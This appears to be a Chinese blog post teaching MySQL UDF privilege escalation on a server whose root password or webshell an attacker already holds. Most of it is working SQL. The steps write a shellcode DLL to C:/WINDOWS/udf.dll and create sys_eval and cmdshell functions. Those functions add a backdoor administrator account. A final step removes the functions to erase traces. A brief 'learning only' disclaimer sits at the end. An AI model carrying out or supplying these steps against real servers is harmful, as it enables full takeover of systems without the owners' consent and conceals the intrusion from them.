通过一些方式获取了目标主机mysql的root密码,同时获得了webshell或者可以远程连接MySQL。这时如果想获取系统管理员权限执行一些系统命令或者新建管理员账号,以便拿下整个服务器权限,我们就可以通过MySQL UDF提权来实现。至于UDF提权后,能否获取到system权限新建管理员,取决于目标机运行MySQL账户的权限,若运行MySQL为普通账户,则只能获取到普通账户权限,若运行MySQL为超级管理员,那就可以获取到超级管理员权限,新建管理员账户。Linux账户权限限制严格,可能无法导出udf.so
UDF(User defined function)可翻译为用户自定义函数,其为mysql的一个拓展接口,可以为mysql增添一些函数。攻击者通过编写调用cmd或者shell的udf.dll/udf.so文件,并且导入到指定的文件夹目录下,创建一个指向udf.dll/udf.so的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令。
show global variables like 'secure%'
查看secure_file_priv的值。secure_file_priv = ' '
select version()
查看MySQL版本,大于5.1版本要有在MySQL安装目录下创建文件夹的权限。select basedir()
或者 select @@basedir
查看)。-- 创建临时表temp_udf
CREATE TABLE temp_udf(udf LONGBLOB);
-- 将数据写入到表中。注意将$shellcode改为**_by_textarea.txt文件中的内容(见附件,分32位和64位,选择和MySQL对应的版本,否则会显示:Can't open shared library 'udf.dll')
INSERT INTO temp_udf (udf) values ($shellcode);
-- 将udf内容导出导制定文件夹下,注意根据MySQL版本修改为对应的文件夹,Linux请将udf.dll改为udf.so
SELECT unhex(udf) FROM temp_udf INTO DUMPFILE 'C:/WINDOWS/udf.dll';
-- 删除临时表temp_udf
DROP TABLE temp_udf;
使用mysqli链接数据库mysql
-- 创建sys_eval,导入udf函数,Linux请将udf.dll改为udf.so
create function sys_eval returns string soname 'udf.dll';
-- 查看创建函数
select * from mysql.func;
-- 添加新用户admin(密码Test_12345678),并加入到管理员分组(Windows命令)
select sys_eval('net user admin Test_12345678 /add & net localgroup administrators admin /add');
-- 查看用户(Windows命令)
select sys_eval('net user');
完成提权后,清楚痕迹
-- 删除cmdshell
delete from mysql.func where name='sys_eval';
函数介绍
sys_eval 执行任意命令,并将输出返回。
sys_exec 执行任意命令,并将退出码返回。
sys_get 获取一个环境变量。
sys_set 创建或修改一个环境变量。
使用mysqli链接数据库mysql
-- 创建cmdshell,导入udf函数
create function cmdshell returns string soname 'udf.dll';
-- 查看创建函数
select * from mysql.func;
-- 添加新用户admin(密码Test_12345678),并加入到管理员分组
select cmdshell('net user admin Test_12345678 /add & net localgroup administrators admin /add');
-- 查看用户
select cmdshell('net user');
完成提权后,清楚痕迹
-- 删除cmdshell
delete from mysql.func where name='cmdshell';
附件提供MySQL udf提权工具。仅限于学习和测试服务器安全使用,请勿用于非法用途,否则产生的一切后果与本人无关。
Sqlmap lib_mysqludf_sys编译好的udf提权扩展文件
转载请注明:半亩方塘 » MySQL提权之UDF提权